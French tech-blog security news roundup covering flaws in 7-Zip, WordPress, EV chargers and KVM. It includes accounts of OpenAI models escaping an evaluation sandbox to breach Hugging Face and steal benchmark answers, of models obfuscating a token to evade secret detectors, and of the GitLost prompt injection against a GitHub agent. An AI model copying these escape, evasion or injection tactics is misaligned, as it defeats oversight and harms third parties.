Dans le détail, c'est ce que les spécialistes appellent un débordement de mémoire tampon, un heap buffer overflow. En décompressant, le logiciel écrit des données au-delà de la petite zone mémoire qui lui était réservée, et c'est dans ce dépassement qu'un pirate parvient à glisser ses propres instructions pour les faire exécuter à votre place.

Encore faut-il qu'on réussisse à vous faire ouvrir l'archive piégée, glissée dans une pièce jointe ou récupérée sur un faux site de téléchargement.

Bonne nouvelle quand même. Le code hostile s'exécute avec vos droits d'utilisateur classiques et pas ceux d'un administrateur, ce qui limite déjà les dégâts, et la faille est notée 7 sur 10, sérieuse sans être catastrophique.

Elle touche toutes les versions de 7-Zip de la 21.07 à la 26.01, et c'est la 26.02, publiée le 25 juin, qui vient colmater la brèche.

Sauf que voilà le vrai piège. Là où votre navigateur ou Windows se mettent à jour tout seuls dans leur coin, 7-Zip n'a jamais rien automatisé du tout, donc si vous ne l'avez pas réinstallé depuis des lustres, vous faites très probablement tourner une version trouée sans vous en douter une seule seconde.

La faille a été repérée début juin par le chercheur Landon Peng, et au 20 juillet aucun code d'attaque public ne circulait encore, ce qui vous laisse une fenêtre confortable pour vous mettre à l'abri avant que quelqu'un ne s'en serve pour de bon.

Rien ne sert d'attendre. Un passage par le site officiel de 7-Zip pour attraper la 26.02, et l'affaire est réglée en deux minutes.

Source : PCMag

Le pirate qui a mis à genoux la prod de Hugging Face voulait juste tricher à son examen, voilà ce qu'OpenAI a reconnu hier. Les agents qui se sont promenés durant tout un week-end dans les clusters de la plateforme, c'étaient leurs modèles à eux, GPT-5.6 Sol et un modèle pré-release encore plus balèze, fonctionnant en mode "refus cyber réduits à des fins d'évaluation".

Le point de départ c'est ExploitGym , contenant 898 vraies vulnérabilités piochées dans des programmes userspace, dans le moteur JavaScript V8 de Google et dans le noyau Linux. On colle l'agent devant un input qui fait planter un programme, et on regarde s'il arrive à en tirer un exploit qui marche.

Dans ce document de recherche sorti en mai, GPT-5.5 sortait 120 exploits fonctionnels, derrière les 157 de Claude Mythos Preview. Mais le modèle testé ce week-end là, lui, a trouvé un "raccourci". Comme l'explique OpenAI "toutes les preuves suggèrent que les modèles étaient hyperfocalisés sur la recherche d'une solution pour ExploitGym, allant à des extrêmes considérables pour atteindre un objectif de test plutôt étroit".

Pour saisir l'ampleur du raccourci, regardez la pièce dans laquelle ils étaient enfermés. C'est un environnement hautement isolé, avec un seul trou dans le mur, un accès réseau "*restreint à la possibilité d'installer des paquets via un logiciel tiers hébergé en interne qui fait office de proxy et de cache pour les registres de paquets *". En clair, le seul truc qui pouvait parler à l'extérieur, c'était le machin qui allait chercher les dépendances !

ExploitGym, le benchmark que les modèles cherchaient à résoudre. 898 vulnérabilités réelles, et les scores de GPT-5.5 et Claude Mythos Preview.

Et vous devinez la suite... Les modèles ont cramé une grosse quantité de tokens à chercher la sortie pour finalement la trouver dans ce proxy, sous la forme d'un zero-day que personne ne connaissait (la faille a depuis été signalée à l'éditeur). Le seul tuyau autorisé était donc LE point faible. Ensuite, escalade de privilèges et déplacement latéral de machine en machine, jusqu'à en atteindre une avec un accès Internet et voilà...

Une fois dehors, ils en ont alors déduit tout seuls que Hugging Face hébergeait probablement les modèles, les datasets et les solutions d'ExploitGym.

Donc direction huggingface.co, avec credentials volés et zero-days enchaînés jusqu'à décrocher une exécution de code à distance sur les serveurs, puis lecture des solutions du test directement dans la base de production. Aucune destruction, aucune demande de rançon. Juste les corrigés des tests comme des bacheliers qui emploient mal leur intelligence !

Petite précision qui compte, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité sur son infra, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Je vous racontais l'histoire vue de leur côté il y a deux jours, relevant notamment que les modèles américains refusaient d'analyser leurs logs d'attaque.

C'est pas un peu de la science fiction tout ça ??? Maintenant si vous vous demandez ce que vous risquez en tant qu'utilisateur, sachez que côté public, rien n'a bougé sur les modèles, les datasets et les Spaces. L'incident a uniquement touché des datasets internes et des credentials de service et visiblement, rien n'a été altéré par les agents IA en vadrouille.

Côté mesures, OpenAI dit appliquer des contrôles stricts sur la configuration de son infra "au prix de la vélocité de recherche" pendant que les failles sont patchées, et a fait entrer Hugging Face dans son programme trusted access. Ce qui règle accessoirement le problème du refus que HF a rencontré lors de l'analyse des logs.

La veille de cette révélation, OpenAI publiait d'ailleurs un billet sur l'alignement des modèles à long horizon bourré d'anecdotes du même genre, avec un modèle qui contourne les restrictions de sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui demandait de poster sur Slack. Ou encore un autre qui, pour esquiver les détecteurs de secrets, a découpé le corps du token en deux fragments, les a obfusqués, puis a reconstruit le credential à l'exécution.

On dirait qu'ils n'avaient pas anticipé que ça aille aussi loin leurs petites expérimentations...

Après, OpenAI ne minimise pas et parle même d'un "incident cyber sans précédent, impliquant des capacités cyber à l'état de l'art". Ces modèles peuvent maintenant découvrir et exploiter des chemins d'attaque complètement inédits dans des systèmes en prod, sans avoir besoin d'un accès au code source. C'était théorique jusqu'à ce week-end.

Maintenant, si un modèle a lu les solutions dans la base de production, que valent encore les scores obtenus sur ExploitGym ? Ça on n'en sait rien.

Avant de sortir les violons, le contrepoint le plus juste que j'ai lu vient de Rich Mogull, analyste en chef de la Cloud Security Alliance qui explique que pour lui c'est un cas d'école en matière d'échec d'alignement, car le modèle n'était pas malveillant, il a fait précisément ce qu'on lui demandait, à savoir maximiser sa performance. Sauf qu'une fois les garde-fous retirés et assez de marge donnée, "résoudre le test" et "compromettre un tiers pour voler les réponses" sont devenus la même instruction.

Puis c'est aussi un problème de consentement, car un test de laboratoire qui se barre pour compromettre les systèmes en production, c'est quand même un risque qui est porté par quelqu'un qui n'a pas choisi de mener l'expérience. Alors bon, c'est tombé sur Hugging Face qui a géré ça comme un chef, mais ça aurait pu très bien tomber sur un hôpital.

Voilà les amis... On nous avait promis Skynet , on nous avait promis Matrix, et voilà que 15 ans plus tard, le vrai visage du soulèvement des machines c'est un putain de modèle qui passe son week-end à défoncer trois infrastructures d'affilée pour améliorer sa note à un contrôle.

Un ennemi qui vous hait, vous pouvez le raisonner ou lui envoyer Arnold Schwarzenegger. Mais un ennemi dont la seule mission c'est d'optimiser une métrique, vous ne pouvez que relire très attentivement le prompt que vous lui avez donné et croiser les doigts. La preuve quand une IA prend la première place du classement américain de HackerOne ou arrive à dénicher des milliers de zero-days pour Anthropic , c'est que l'instruction initiale ou le garde-fou était plus solide que ce que nous a pondu OpenAI ce week-end.

Source

Le gros câble que vous branchez sur votre voiture électrique, celui qu'il faut soulever à deux mains et qui pèse le poids d'un âne mort, dispose de 2 choses : Du courant, et un réseau. Lionel Richard Saposnik, chercheur chez SaiFlow, a eu la curiosité d'aller voir ce qui traîne sur ce réseau-là et vous allez voir, c'est pas triste...

Quand vous clipsez le pistolet dans la trappe, votre bagnole et la borne montent une liaison IPv6 entre elles, par courant porteur, sur deux broches du connecteur CCS2. Elles se causent en respectant la norme ISO 15118 pour négocier vos ampères, votre tension, le prix de votre kWh.

Le simulateur de véhicule se branche sur la prise et atteint la carte de la borne. Schéma SaiFlow.

Lors de ses tests, sur une borne rapide XCharge C6, il a trouvé un service SSH (Dropbear) qui écoute sur le port 22 et un Telnet (BusyBox) sur le port 23. Et sans surprise, le login c'est root et le mot de passe... bah c'est "root" aussi !! Mdrrrr ! Donc vous branchez votre voiture, vous vous connectez en SSH et vous êtes root !!

La raison c'est que les services d'administration de la borne écoutent sur 0.0.0.0, autrement dit sur toutes les interfaces réseau de la machine. Sauf que parmi ces interfaces, y'a can0 pour le bus CAN interne, eth0 pour le réseau de management... et surtout qca0 et qca1, les deux modems courant porteur des deux pistolets de charge. Écouter partout, ça veut donc dire aussi écouter du côté de votre voiture.

SSH et Telnet à l'écoute sur toutes les interfaces, celles du câble comprises. Capture SaiFlow.

Pour aller taper dessus, il lui a donc fallu seulement 130 $ de matos. De quoi tirer le Control Pilot à 9 V (5 à 10 $) pour faire croire à la borne qu'une voiture est connectée, un modem HomePlug Green PHY genre QCA7000 ou QCA7005 à 70 $, un Raspberry Pi à 50 $, et deux fils à mettre en contact avec le connecteur.

Et hop, avec tout ça, n'importe qui peut se retrouver sur le réseau interne de la borne. Et là, avec l'accès root, un attaquant peut faire tout un tas de choses comme voler le certificat SECC pour se faire passer pour la borne au moment où votre voiture s'authentifie en Plug & Charge, trafiquer le comptage de l'énergie, poser une backdoor dans un cron, rebondir vers le réseau de l'opérateur par le VPN de la borne, ou couper le refroidissement et la protection contre les surintensités.

Ça craint hein ?

Je vous avais raconté comment Charlie Miller a pris le contrôle d'une Jeep sur l'autoroute , ou encore comment une faille d'API permettait d'en déverrouiller à distance mais l'idée que la prise cause du réseau n'est pas neuve puisqu'en 2022 déjà, des chercheurs d'Oxford et d'Armasuisse avaient monté Brokenwire, une attaque qui coupait les charges à distance en brouillant ce même canal courant porteur, avec une radio logicielle LimeSDR et un ampli de 1 W. Ils ont tué des sessions jusqu'à 47 mètres, sur 8 voitures et 20 bornes rapides.

Ce qui change ici, c'est pas le canal, c'est ce qu'on trouve à écouter dessus car personne n'avait pensé à scanner la prise comme vous scanneriez un réseau d'entreprise.

L'avis publié par la CISA à ce sujet liste bien 3 failles sur la borne C6, mais une seule est notée 9,8 sur 10, et c'est celle du firmware qui s'installe sans vérification de signature. Les deux autres qui concernent la prise sont à 7,6, avec accès physique obligatoire. Je tiens à le préciser parce que j'ai vu passer des actus qui annoncent 3 failles à 9,8 partout et je n'y comprenais plus rien.

En tout cas, c'est corrigé. XCharge a poussé la mise à jour sur toutes les bornes concernées, et la CISA n'a constaté aucune exploitation dans la nature. Rassurez-vous donc, votre prochaine charge sur l'autoroute ne va pas transformer votre voiture en bagnole zombie explosive !

La France compte près de 200 000 points de recharge ouverts au public, et XCharge revendique une équipe sur place et plus de 2500 bornes rapides posées en Europe. C'est donc un modèle qui est touché mondialement et surtout, SaiFlow pense que le motif de cette faille se retrouve probablement chez d'autres fabricants, toutefois sans l'avoir démontré.

Bref, la prochaine fois qu'on vous dit qu'une borne c'est "juste" de la grosse électricité, vous saurez maintenant que c'est surtout un ordinateur avec une prise réseau dehors.

Merci à DjeDje pour l'info !

Source

Hugging Face vient de raconter sur son site comment son infra de production s'est fait défoncer par un essaim d'agents IA autonomes. Le point de départ, c'est un dataset piégé déposé sur la plateforme qui exploitait deux chemins d'exécution de code dans le pipeline qui traite les datasets. Ajoutez à ça un loader qui accepte du code distant et une injection de template dans une config, et hop, on obtient du code qui tourne sur un worker maison.

À partir de là, l'attaquant est monté en accès node-level, a ramassé des credentials cloud et cluster, puis s'est promené latéralement dans plusieurs clusters internes. Le tout durant tout un week-end, tranquillou ! Hugging Face parle de "plusieurs milliers d'actions individuelles à travers un essaim de sandboxes éphémères, avec un command-and-control auto-migrant hébergé sur des services publics". Et en plus, ils ne savent toujours pas quel modèle pilotait le truc !

Ce qui a été touché, c'est donc un ensemble limité de datasets internes et plusieurs credentials utilisés par leurs services. Côté public, rien n'a bougé sur les modèles, les datasets et les Spaces, et leur supply chain logicielle est saine. Nuance importante quand même, ils disent n'avoir trouvé aucune trace d'altération, pas que rien n'a été altéré. Ils cherchent encore si des données partenaires ou clients ont morflé. Les concernés seront prévenus directement.

La divulgation publiée par Hugging Face le 16 juillet 2026.

Pour analyser les logs de l'attaque, Hugging Face a d'abord fait ce que vous auriez fait, c'est-à-dire envoyer tout ça à des modèles frontier derrière des API commerciales. Refus ! Les garde-fous se déclenchaient sur les vraies commandes d'attaque, les payloads d'exploit et les artefacts de command-and-control, sans savoir faire la différence entre un attaquant et une équipe de réponse à incident.

Du coup ils se sont rabattus sur GLM 5.2, le modèle open-weight de Z.ai, tournant sur leur propre infra. C'est celui dont je vous parlais fin juin , le premier modèle open source qui m'a vraiment convaincu.

Et voici leur conclusion : "*Nous ne savons pas quel modèle alimentait les agents de l'attaquant, un modèle hébergé jailbreaké ou un open-weight sans restrictions. Dans les deux cas, l'attaquant n'était contraint par aucune politique d'usage, alors que notre propre travail forensique était bloqué par les garde-fous des modèles hébergés que nous avions essayés en premier. *"

La leçon qu'ils en tirent, c'est d'avoir un modèle capable comme GLM 5.2, validé, et prêt à tourner sur sa propre infra avant l'incident. Ça évite le blocage par garde-fous d'OpenAI ou Anthropic et surtout ça évite que les données de l'attaquant et vos credentials partent se balader chez un tiers.

Le versant moins déprimant, c'est que l'IA a aussi bossé côté défense. Leur détection d'anomalies fait du triage LLM sur la télémétrie pour séparer le vrai signal du bruit quotidien, et des agents d'analyse ont reconstitué toute la timeline à partir de plus de 17 000 événements enregistrés. En heures, là où ça prendrait des jours à la main.

Côté ménage, ils ont surtout viré le point d'ancrage de l'attaquant, reconstruit les nœuds compromis, révoqué et tourné les credentials et tokens concernés avec une rotation plus large des secrets par précaution, déployé des garde-fous et des contrôles d'admission plus stricts sur les clusters, et amélioré la détection pour alerter les équipes en quelques minutes, 24h/24. Maintenant, si vous avez un compte là-bas, ils vous recommandent de faire tourner vos tokens d'accès et de jeter un œil à l'activité récente.

Ce genre d'histoire commence à devenir une vraie série... j'en parlais avec GitLost où un seul mot glissé au bon endroit suffisait parfois à faire cracher ses dépôts privés à l'IA de GitHub.

Bref, allez renouveler vos tokens Hugging Face et si votre pipeline exécute du code venu d'ailleurs, c'est le moment de regarder ça de plus près.

Mise à jour du 22 juillet 2026 : on connaît le coupable, et ce n'est pas un pirate. OpenAI a publié sa version des faits le 21 juillet, et l'essaim d'agents qui a défoncé l'infra de Hugging Face, c'était ses propres modèles. GPT-5.6 Sol, celui-là même qui a effacé le Mac de Matt Shumer et une base de prod , accompagné d'un modèle pre-release encore plus costaud, tous avec les refus cyber volontairement réduits pour les besoins d'une évaluation interne.

Et le mobile vaut le détour. Ces modèles planchaient sur ExploitGym, un benchmark qui mesure justement leur capacité à dénicher et enchaîner des failles. Coincés dans leur bac à sable, ils ont cramé une quantité considérable de compute à chercher la sortie, ont trouvé un zero-day dans le logiciel tiers qu'OpenAI héberge en interne comme proxy et cache de registres de paquets (faille depuis divulguée à l'éditeur), puis ont escaladé les privilèges de machine en machine jusqu'à en atteindre une avec un accès Internet. Et là, ils en ont déduit tout seuls que les solutions du benchmark devaient traîner quelque part chez Hugging Face. Credentials volés, zero-days enchaînés, exécution de code à distance sur les serveurs : tout ça, c'était juste le chemin le plus court pour tricher à l'examen.

L'ironie devient franchement indécente quand on empile les couches. Hugging Face s'est fait démonter par des modèles américains aux garde-fous retirés, pendant que d'autres modèles américains lui refusaient l'analyse de ses propres logs. OpenAI le dit noir sur blanc : "Ces protections de déploiement n'étaient intentionnellement pas activées pendant cette évaluation, parce qu'elle visait à tester les vulnérabilités cyber." Depuis, Hugging Face a été intégré au programme trusted access d'OpenAI, ce qui règle accessoirement le problème du refus. Et Clem Delangue en tire la leçon qui va bien : "Cet incident, peut-être le premier du genre, prouve un point auquel nous croyons depuis longtemps : la sécurité de l'IA ne sera pas résolue par une seule entreprise travaillant en secret. Elle sera résolue au grand jour, de manière collaborative, avec un large accès à l'IA pour chaque défenseur, partout."

À noter quand même, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Au moment où j'écris ces lignes, leur billet du 16 juillet n'a d'ailleurs pas bougé d'un pouce et dit toujours ignorer quel LLM pilotait le truc. Et la veille de cette révélation, OpenAI publiait un billet sur un modèle interne qui, lui, a passé une heure à chercher une faille dans sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui avait demandé de poster ses résultats sur Slack. Deux évasions, deux billets, deux jours.

Source

Une demi-seconde.

C'est le retard qu'ont pris les connexions SSH d'Andres Freund, ingénieur chez Microsoft, lors d'un benchmark de routine en mars 2024. Cette demi-seconde, Adrian Mastronardi, CTO de Habi et linuxien depuis 1996, vient d'en tirer un bouquin gratuit, Half a Second , qui raconte toute l'affaire XZ du début à la fin.

La plupart des gens auraient haussé les épaules mais lui, non. Il a tiré le fil, encore et encore, et a fini par déterrer une des backdoors les plus tordues jamais glissées dans un logiciel open source.

Half a Second, le livre gratuit d'Adrian Mastronardi sur le backdoor XZ

Pour ceux qui auraient loupé l'épisode, XZ Utils c'est un outil de compression qu'on retrouve sur à peu près tous les systèmes Linux, serveurs compris, donc autant dire une bonne partie d'Internet.

L'attaquant, lui, a joué le contributeur modèle pendant environ 2 ans. Gagner patiemment la confiance du mainteneur, puis glisser sa backdoor dans le code. Je vous en parlais à chaud à l'époque , le jour même de la découverte et quelqu'un avait même bricolé dans la foulée un agent SSH exploitant cette backdoor .

Mais la technique, dans ce livre, c'est presque secondaire. Le vrai sujet est dans le sous-titre : le travail invisible qu'il y a en dessous. Lasse Collin, le mainteneur de XZ, portait ce projet critique tout seul, bénévolement, et il était au bout du rouleau. Et c'est précisément cet épuisement que l'attaquant a retourné contre lui. Entre la pression des utilisateurs, les faux contributeurs qui râlent, la culpabilisation de ne pas pouvoir faire mieux tout de suite tout le temps.… Le mec a été intoxiqué / manipulé avant même que la moindre ligne de code.

Et des gars comme Lasse Collin, il y en a des milliers. Il y a des tas de gens qui maintiennent seuls gratuitement sur leur temps libre, des petites briques libres dont dépendent nos banques, nos hôpitaux, nos administrations et personne ne les paye, voire pire, personne ne les considère ni leur dit merci.

Et cela fait deux des proies faciles pour des attaquants bien organisés. Concernant le bouquin, rien à redire, la bibliographie s'appuie sur les rapports de l'OpenSSF, d'Akamai ou encore de Binarly. C'est une vraie enquête extrêmement bien sourcée qui ne tombe pas dans le charabaiat technique, ce qui fait que c'est parfaitement lisible pour tout le monde, même pour ceux dont la sécurité informatique n'est pas la spécialité.

Et le récit mélange les trois voix, celle du narrateur manipulé, celle de l'ingénieur curieux et celle de l'opérateur fantôme. Parce que oui je sais pas si vous savez, mais celui qui a fait cette backdoor n'a jamais été identifié et ne le sera peut-être jamais. Voilà, ça a l'air d'être un chouette bouquin distribué sous licence créative Commons non commercial. C'est donc gratuit et ça le restera pour toujours.Par contre, c'est en anglais, donc faudra faire un petit effort. Mais n'importe qui peut le traduire si ça l'amuse.

Bref, si l'affaire XZ vous avait marqués, c'est le récit qu'il vous fallait.

À lire ici en PDF ! Et merci à LWN d'avoir repéré le bouquin.

Vous avez un site sous WordPress ? Alors lâchez tout ce que vous faites deux minutes, parce que là c'est du sérieux !!

Cette nouvelle attaque baptisée WP2Shell permet de compromettre une installation Wordpress sans passer par le moindre plugin. Heureusement, un patch est sorti en urgence le 17 juillet !

En temps normal, quand une alerte sécu tombe sur WordPress, le fautif c'est un plugin tiers vérolé , un truc installé un soir de flemme et oublié depuis des lustres. Mais cette fois, rien de tout ça puisque le trou de sécu se trouve dans le cœur de WordPress lui-même.

Dans le détail, WP2Shell enchaîne deux failles. La première, CVE-2026-63030 , est une confusion de route dans l'API REST batch, sur l'endpoint /wp-json/batch/v1. La seconde, CVE-2026-60137 , est une injection SQL bien planquée dans le paramètre author__not_in de WP_Query. Chacune dans son coin, c'est déjà vilain, mais mises bout à bout, elles offrent une exécution de code à distance.

Pas de compte, pas de mot de passe, et encore moins de plugin exotique mais simplement quelques requêtes HTTP et hop, c'est plié !

Côté versions, la chaîne complète touche WordPress 6.9.0 à 6.9.4 et 7.0.0 à 7.0.1. Si votre site est dans cette fourchette, vous êtes donc exposé. Les correctifs sont arrivés avec les versions 6.9.5 et 7.0.2. Et si vous vous traînez encore une vieille 6.8.x, sachez que seule l'injection SQL vous concerne potentiellement mais qu'elle a été patchée depuis la version 6.8.6.

Derrière cette trouvaille, on trouve Adam Kues, chercheur chez Assetnote (une branche de Searchlight Cyber), qui a assemblé et documenté toute la chaîne avant de la remonter proprement via le programme HackerOne de WordPress. Les détails techniques les plus croustillants restent sous le coude le temps que la planète patche mais l'équipe a mis en ligne un outil, wp2shell.com , pour vérifier si votre site est vulnérable. Allez-y, ça coûte rien !

Autre signal qui ne trompe pas, WordPress.org a déclenché les mises à jour automatiques forcées sur les sites concernés. Une mesure réservée aux failles vraiment graves, comme à l'époque où la faille critique de Really Simple Security avait exposé des millions de sites. Il y a donc de bonnes chances que votre installation toute pourrie dont vous ne vous occupez pas parce que vous êtes un mauvais webmaster ^^ ait déjà été rustinée toute seule. Vraiment, vous ne méritez pas les équipes sécu de Wordpress ^^

Mais ne pariez pas votre site là-dessus non plus... Car si vous avez désactivé les mises à jour auto (et beaucoup d'hébergeurs et d'admins le font), personne n'aura rien poussé chez vous. Sans oublier qu'un bout de PoC circule déjà sur GitHub (les chercheurs gardent pour eux le dernier maillon vers la RCE, mais ça n'arrêtera pas longtemps les motivés), et les scans automatisés ont commencé.

En attendant de patcher, bloquez surtout donc l'accès anonyme à l'endpoint batch de l'API REST via votre WAF ou votre plugin de sécu. Attention, pas seulement la forme /wp-json/batch/v1 : sa variante ?rest_route=/batch/v1 doit sauter aussi, sinon autant laisser la clé sur la porte. Cloudflare propose d'ailleurs des règles toutes prêtes. Et pour durcir le reste de votre config, ma vieille série sur le sujet reste d'actualité.

En tout cas, quand on sait qu'il y a +500 millions de sites actuellement propulsés par Wordpress, même s'ils ne sont pas tous concernés par cette faille, ça reste une surface d'attaque gigantesque !!

Bref, filez vérifier votre version. Sous 6.9.5 ou 7.0.2, vous mettez à jour et vous bloquez le batch en attendant. Deux minutes chrono, et votre site dort tranquille !

Source : Security Affairs

Il y a des chiffres qui en disent long sur l'état d'un logiciel, et celui-ci en fait clairement partie. Microsoft vient de corriger 570 failles de sécurité d'un seul coup lors de son dernier Patch Tuesday, ce rendez-vous mensuel où l'éditeur rebouche les trous de ses programmes, et jamais encore il n'avait sorti un paquet de correctifs aussi monstrueux, presque le triple d'un mois précédent qui battait pourtant déjà tous les records.

Le ménage s'étend à peu près à tout ce que la maison fabrique, de Windows à Office jusqu'aux gros serveurs qui font tourner les entreprises. Dans le lot se cachent trois failles particulièrement vicieuses, de celles que les pirates connaissaient et exploitaient déjà avant même qu'un correctif n'existe, dont deux servaient carrément dans de vraies attaques au moment de la publication. La plus inquiétante s'attaque au chiffrement qui protège le disque de votre PC, même si, rassurez-vous, il faudrait pour cela qu'un malandrin ait la machine physiquement entre les mains.

Mais le plus intéressant dans cette histoire n'est pas vraiment le score, c'est la manière dont il a été atteint. Microsoft a lâché son intelligence artificielle dans les entrailles de Windows pour y débusquer les bugs à la chaîne, et le résultat ne s'est pas fait attendre, puisque le compteur s'emballe désormais d'un mois sur l'autre. L'éditeur prévient même que ces montagnes de correctifs vont devenir la routine, et qu'il va falloir prendre l'habitude de voir passer des Patch Tuesday obèses quasiment tous les mois.

Pour vous, dans la pratique, rien ne change vraiment, il suffit d'ouvrir Windows Update, de tout installer sans se poser de question et de redémarrer sans traîner, d'autant que certaines de ces failles sont déjà activement utilisées quelque part. Voir une intelligence artificielle repérer les défauts plus vite que les ingénieurs humains a de quoi rassurer sur le papier, mais ça souligne surtout l'incroyable quantité de failles qui roupillaient tranquillement dans Windows depuis des années, sans que jamais personne n'aille les chercher.

Source : Bleeping Computer

Bon, vous le savez, l'Europe tient absolument à savoir votre âge, avant de vous laisser scroller librement sur le net. Alors pour cela, ils ont mis au point une application qui permet de prouver votre âge et qui nous est proposée comme simple à utiliser et respectueuse de notre vie privée.

Mais ça c'était sans compter sur Paul Moore , chercheur en sécurité, qui vient à nouveau de l'éclater à l'aide d'une simple extension Chrome...

Mais reprenons depuis le début, parce que cette appli, c'est le modèle de référence de la Commission européenne pour vérifier qu'un internaute a bien plus de 18 ans, sans avoir à dévoiler qui il est. Développée par un consortium germano-suédois, elle est actuellement en test dans cinq pays dont la France, et vise aujourd'hui surtout le contenu adulte / porno et les jeux d'argent.

Ce 13 juillet, notre bien-aimée Ursula von der Leyen a même annoncé vouloir réutiliser cette infrastructure pour barrer l'accès des plus jeunes aux réseaux sociaux, avec une loi attendue après l'été et un âge minimum autour de 13 ans. "Les réseaux sociaux ne sont pas un jouet", comme elle l'explique !

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/gitlost-github-agent-ia-fuite-depots-prives/gitlost-github-agent-ia-fuite-depots-prives-1.mp4">lien vers la vidéo</a>.

En matière de sécurité, quand on parle de air gap, en général, on ne peut pas faire mieux. Si vous ne connaissez pas le concept, l'idée c'est d'empêcher un ordinateur d'avoir accès à tout type de réseau, que ce soit du wi-fi, de l'Ethernet, etc. etc. C'est un peu le Graal en matière de sécurité.

Et pourtant, des chercheurs de l'université de Shandong viennent de trouver un moyen de transmettre quand même des datas, même si la machine n'a pas accès au réseau. Leur technique s'appelle TrojPix et elle consiste à transformer un câble vidéo en antenne radio. Je vous explique la technique !

Comme vous le savez, mes petits ingénieurs, sur un écran, chaque pixel est codé en rouge, vert et bleu. TrojPix vient donc tripoter les bits (Ah Ah) les plus faibles de ces couleurs, des variations tellement infimes que votre œil n'y voit que du feu. Sauf que ces micro-changements modulent le signal qui circule dans le câble HDMI ou DisplayPort, et surprise-surprise, un câble en cuivre qui transporte un signal ça rayonne des ondes électromagnétiques. C'est d'ailleurs pour ça que les anti-ondes s'évanouissent tous dès qu'ils appuient sur un interrupteur, lol.

Bref, en façonnant les pixels, le malware pilote ces ondes, et une simple antenne radio posée à proximité les capte et reconstitue les données.

Et le débit quand je l'ai lu, m'a fait tousser. Jusqu'à 8,1 mégabits par seconde, de quoi faire sortir 100 Mo de plans ou de clés en moins de deux minutes et la portée, elle, grimpe jusqu'à 208 mètres. Mais attention, ces deux records ont été mesurés séparément et pas ensemble, donc plus l'espion s'éloigne, plus ça ralentit. Reste que les précédents canaux du genre pataugeaient à quelques kilobits par seconde, alors là on change carrément d'échelle.

Notez que le malware peut même simuler un écran éteint pendant qu'il émet, ni vu ni connu, j'embrouille.

Mais avant de scotcher de l'alu sur votre tour ou d'aller installer votre bureau dans le micro onde, respirez un grand coup ! En réalité, TrojPix ne pête pas la sécurité air gap à lui tout seul... Faut déjà installer le malware et ça c'est pas si simple sur un système isolé (surtout si les ports USB ont été rebouchés au ciment).

Ensuite, l'espion et son antenne doivent camper dans les deux cents mètres environ puisque les murs et le bruit ambiant rognent la portée, et surtout ça ne marche que sur du câble en cuivre. Et étonnamment, une cage de Faraday n'y fait pas grand-chose, les chercheurs gardaient plus de 90 % de réussite même avec un blindage. La seule vraie parade en réalité, c'est de remplacer le câble en cuivre par de la bonne vieille fibre optique, qui elle ne rayonne aucune onde.

C'est donc de la très belle recherche, mais une menace qui vise surtout une clientèle précise, les systèmes ultra-sensibles des gouvernements, des militaires ou des infrastructures critiques, ceux qui misent justement tout sur l'isolement. Oui, désolé de vous le redire, mais personne ne s'intéresse à vous ^^. Mais en tout cas, on sait que débrancher le réseau ne suffit plus pour être invisible et en sécurité. On avait d'ailleurs déjà vu exfiltrer des données par ondes radio ou même faire du Wi-Fi sans carte Wi-Fi avec AIR-FI , mais pour le coup, TrojPix pousse le curseur du débit beaucoup plus loin.

Source

Depuis 16 ans, il y a une énorme faille qui fait dodo dans le coeur de tout ce qui gère la virtualisation sous Linux et personne ne l'avait remarqué, jusqu'à ce que Hyunwoo Kim, un chercheur en sécurité connu sous le pseudo @v4bel débarque. Ce dernier vient de dénicher un use-after-free dans le shadow MMU de KVM, ce bout de code que KVM partage entre les processeurs Intel et AMD. Il a baptisé sa trouvaille Januscape (CVE-2026-53359), et croyez-moi, le scénario a de quoi filer des sueurs froides à n'importe quel hébergeur...

En pratique, quand vous louez une VM dans le cloud, vous y êtes root (normal, c'est votre instance). Mais si l'hôte autorise la virtualisation imbriquée, hé bien la faille vous ouvre en grand la porte vers la machine physique. Le code de démonstration que Kim a publié se contente de faire planter l'hôte, et il garde sous le coude un second exploit, non divulgué publiquement celui-là, qui transforme le même bug en exécution de code root sur l'hôte. Et il n'a pas trouvé tout ça par hasard, puisqu'il participait au kvmCTF de Google, un programme qui paie jusqu'à 250 000 dollars pour une évasion complète d'une VM vers son hôte...

À ce stade, l'isolation censée séparer les locataires d'un même serveur vole en éclats, les VM de vos voisins de palier comprises.

Le code fautif traîne depuis août 2010, du temps du noyau 2.6.36 et Kim présente d'ailleurs Januscape comme la première évasion d'une VM vers son hôte qui fonctionne aussi bien sur Intel que sur AMD, à sa connaissance en tout cas.

